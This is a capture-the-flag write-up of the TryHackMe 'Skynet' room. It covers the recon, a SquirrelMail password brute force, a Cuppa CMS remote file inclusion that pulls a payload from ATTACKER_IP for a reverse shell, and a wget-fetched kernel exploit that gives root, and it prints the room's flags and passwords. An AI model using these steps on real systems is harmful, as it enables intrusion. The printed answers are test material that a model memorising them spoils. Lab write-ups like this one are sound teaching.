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Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the [Access](#) page.

I'll be using openvpn to connect to the server. Here's the command:

```
1 $ sudo openvpn --config NovusEdge.ovpn
```

Reconnaissance

Performing an **nmap** scan to check for open ports and services:

```
1 $ sudo nmap -sS -Pn -vv --top-ports 2000 -oN nmap_scan.txt TARGET_IP
2
3 PORT      STATE SERVICE      REASON
4 22/tcp    open  ssh          syn-ack ttl 63
5 80/tcp    open  http         syn-ack ttl 63
6 110/tcp   open  pop3         syn-ack ttl 63
7 139/tcp   open  netbios-ssn syn-ack ttl 63
8 143/tcp   open  imap         syn-ack ttl 63
9 445/tcp   open  microsoft-ds syn-ack ttl 63
10
11 # Performing a service scan:
12 $ sudo nmap -sV -vv -p22,80,110,139,143,445 -oN service_scan.txt TARGET_IP
13
14 PORT      STATE SERVICE      REASON      VERSION
15 22/tcp    open  ssh          syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
16 80/tcp    open  http         syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
17 110/tcp   open  pop3         syn-ack ttl 63 Dovecot pop3d
18 139/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
19 143/tcp   open  imap         syn-ack ttl 63 Dovecot imapd
20 445/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
21 Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

There's a

http service running on port 80. If we visit the site using a browser, we're shown a simple search engine:



Using `gobuster` to enumerate any potentially interesting directories:

```
1 $ gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 32 -x  
  ↳ txt,php,sh,py,phtml,html  
2 ...  
3 ...
```

From the scan, the `/squirrelmail` location is accessible:



SquirrelMail
webmail
for
nuts

*SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team*

SquirrelMail Login

Name:

Password:

We'll hold onto this information for later use...

Using `enum4linux` to enumerate the samba service running on target:

```
1 $ enum4linux TARGET_IP  
2  
3 ...  
4 [+] Got domain/workgroup name: WORKGROUP
```

```

5  ...
6  [+] Server TARGET_IP allows sessions using username '', password ''
7  ...
8      Sharename      Type      Comment
9      -----      -
10     print$         Disk      Printer Drivers
11     anonymous       Disk      Skynet Anonymous Share
12     milesdyson      Disk      Miles Dyson Personal Share
13     IPC$           IPC       IPC Service (skynet server (Samba, Ubuntu))
14 Reconnecting with SMB1 for workgroup listing.
15
16     Server          Comment
17     -----
18
19     Workgroup       Master
20     -----
21     WORKGROUP      SKYNET
22
23 ...
24 [+] Attempting to map shares on TARGET_IP
25 ↵
26 //TARGET_IP/print$ Mapping: DENIED Listing: N/A Writing: N/A
27 ↵
28 //TARGET_IP/anonymous Mapping: OK Listing: OK Writing: N/A
29 //TARGET_IP/milesdyson Mapping: DENIED Listing: N/A Writing: N/A
30
31 [E] Can't understand response:
32 ↵
33 NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
34 ↵
35 //TARGET_IP/IPC$ Mapping: N/A Listing: N/A Writing: N/A
36
37 ...
38 ...

```

Since the samba service allows anonymous logins, we can try to log into the service using `smbclient`:

```

1  # Using an empty password...
2  $ smbclient //TARGET_IP/anonymous
3  smb: \> ls
4      .                      D          0   Thu Nov 26 19:34:00 2020
5      ..                     D          0   Tue Sep 17 11:50:17 2019
6      attention.txt          N        163   Wed Sep 18 07:34:59 2019
7      logs                   D          0   Wed Sep 18 09:12:16 2019
8
9      9204224 blocks of size 1024. 5827560 blocks available
10 smb: \> get attention.txt
11 getting file \attention.txt of size 163 as attention.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
12 smb: \> cd logs

```

```
13 smb: \logs\> ls
14      .                D          0   Wed Sep 18 09:12:16 2019
15     ..                D          0   Thu Nov 26 19:34:00 2020
16    log2.txt           N          0   Wed Sep 18 09:12:13 2019
17    log1.txt           N        471   Wed Sep 18 09:11:59 2019
18    log3.txt           N          0   Wed Sep 18 09:12:16 2019
19
20          9204224 blocks of size 1024. 5827560 blocks available
21
22 smb: \logs\> get log1.txt
23 get logetting file \logs\log1.txt of size 471 as log1.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
24 smb: \logs\> get log2.txt
25 getgetting file \logs\log2.txt of size 0 as log2.txt (0.0 KiloBytes/sec) (average 0.2 KiloBytes/sec)
26 smb: \logs\> get log3.txt
27 getting file \logs\log3.txt of size 0 as log3.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
28 smb: \logs\> exit
```

Inspecting the contents of `attention.txt`:

```
1 $ cat attention.txt
2 A recent system malfunction has caused various passwords to be changed. All skynet employees are required to
  ↳ change their password after seeing this.
3 -Miles Dyson
```

Since we have a username as well as a password-list, we can use burpsuite's intruder to brute force the squirrelmail login:

2. Intruder attack of http://10.10.138.207 - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
0		200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
1	cyborg007haloterminator	302	<input type="checkbox"/>	<input type="checkbox"/>	2112	
2	terminator22596	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
3	terminator219	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
4	terminator20	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
5	terminator1989	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
6	terminator1988	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
7	terminator168	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
8	terminator16	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	

Request Response

Pretty Raw Hex

POST /cgi-bin/mail.cgi (redacted) HTTP/1.1

Search... 0 matches

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The credentials for accessing the mail-server. (`milesdyson:cyborg007haloterminator`).

What is Miles password for his emails?

Answer: `cyborg007haloterminator`

One of the emails contains the SMB password for the user `milesdyson`.

```
1 We have changed your smb password after system malfunction.
2 Password: )s{A&2Z=F^n_E.B`
```

Using this password, we can now log into the smb service as miles and get more information to exploit further:

```
1 $ smbclient -U milesdyson //TARGET_IP/milesdyson
2 Password for [WORKGROUP\milesdyson]:
3 Try "help" to get a list of possible commands.
4 smb: \> ls
5 . D 0 Tue Sep 17 13:35:47 2019
6 .. D 0 Wed Sep 18 08:21:03 2019
7 Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 13:35:14 2019
8 Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 13:35:14 2019
9 Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 13:35:14 2019
10 notes D 0 Tue Sep 17 13:48:40 2019
11 Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 13:35:14 2019
```

```
12 Structuring your Machine Learning Project.pdf          N 3531427 Tue Sep 17 13:35:14 2019
13
14 9204224 blocks of size 1024. 5831528 blocks available
15 smb: \> cd notes
16 smb: \notes\> ls
17 .                D          0 Tue Sep 17 13:48:40 2019
18 ..               D          0 Tue Sep 17 13:35:47 2019
19
20 ...
21 important.txt     N        117 Tue Sep 17 13:48:39 2019
22 ...
23
24 smb: \notes\> get important.txt
25 getting file \notes\important.txt of size 117 as important.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
26 smb: \notes\> exit
```

The contents of the retrieved: `important.txt` file are:

```
1 $ cat important.txt
2
3 1. Add features to beta CMS /45kra24zxs28v3yd
4 2. Work on T-800 Model 101 blueprints
5 3. Spend more time with my wife
```

What is the hidden directory?

Answer: `/45kra24zxs28v3yd`

Gaining Access

Visiting the hidden directory takes us to the following page:



Miles Dyson Personal Page

Dr. Miles Bennett Dyson was the original inventor of the neural-net processor which would lead to the development of Skynet, a computer A.I. intended to control electronically linked weapons and defend the United States.

Using `ffuf` to search for more directories within this one, we quickly find a result:

```
1 $ ffuf -u http://TARGET_IP/45kra24zxs28v3yd/FUZZ -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt
2 ...
3 ...
4 .htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 863ms]
5 .htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 863ms]
6 .hta [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 3027ms]
7 administrator [Status: 301, Size: 337, Words: 20, Lines: 10, Duration: 474ms]
8 index.html [Status: 200, Size: 418, Words: 45, Lines: 16, Duration: 480ms]
```

visiting the `administrator` directory takes us to a login page: `[]cuppa-login.png)`

Using `searchsploit` to search for an exploit yields the following results:

```
1 $ searchsploit cuppa
2 -----
3 Exploit Title | Path
4 -----
5 Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclu | php/webapps/25971.txt
6 -----
```

What is the vulnerability called when you can include a remote file for malicious purposes?

Answer: remote file inclusion

According to the exploit, we can use the `/cuppa/alerts/alertConfigField.php` file and supply it with `urlConfig` parameter to exploit the RFI vulnerability. Starting a http server as well as a listener on our machine, we can remotely include a reverse shell payload to get a working shell:

```
1 $ python3 -m http.server 4443
2 Serving HTTP on 0.0.0.0 port 4443 (http://0.0.0.0:4443/) ...
3
4 # Setting up the listener:
5 $ rlwrap -cAr nc -lvnp 4446
```

Accessing the URL: `http://TARGET_IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ATTACKER_IP:4443/payload.php` gives us a reverse shell. Using this, we can get the user flag:

```
1 www-data@skynet:/$ cd /home/milesdyson/
2 www-data@skynet:/home/milesdyson$ ls
3 backups
4 mail
5 share
6 user.txt
7 www-data@skynet:/home/milesdyson$ cat user.txt
8 7ce5c2109a40f958099283600a9ae807
```

What is the user flag?

Answer: `7ce5c2109a40f958099283600a9ae807`

Privilege Escalation

```
1 www-data@skynet:/home/milesdyson$ uname -a
2 Linux skynet 4.8.0-58-generic #63-16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```

For this challenge, I'll be making use of `CVE-2017-16995`, and [this exploit](#)

```
1 www-data@skynet:/home/milesdyson$ cd /tmp
2 www-data@skynet:/tmp$ wget http://ATTACKER_IP:4443/45010.c
3 ...
4 2022-12-09 13:50:50 (28.2 KB/s) - '45010.c' saved [13728/13728]
5
6 www-data@skynet:/tmp$ gcc 45010.c
7 www-data@skynet:/tmp$ ./a.out
```

The shell is quite unstable now, but it doesn't matter, we can still execute commands and get the root flag:

```
1 whoami
2 root
3 cat /root/root.txt
```


What is the root flag?

Answer: 3f0372db24753accc7179a282cd6a949

Conclusion

If this writeup helps, please consider following me on github (<https://github.com/NovusEdge>) and/or dropping a star on the repository: <https://github.com/NovusEdge/thm-writeups>

-
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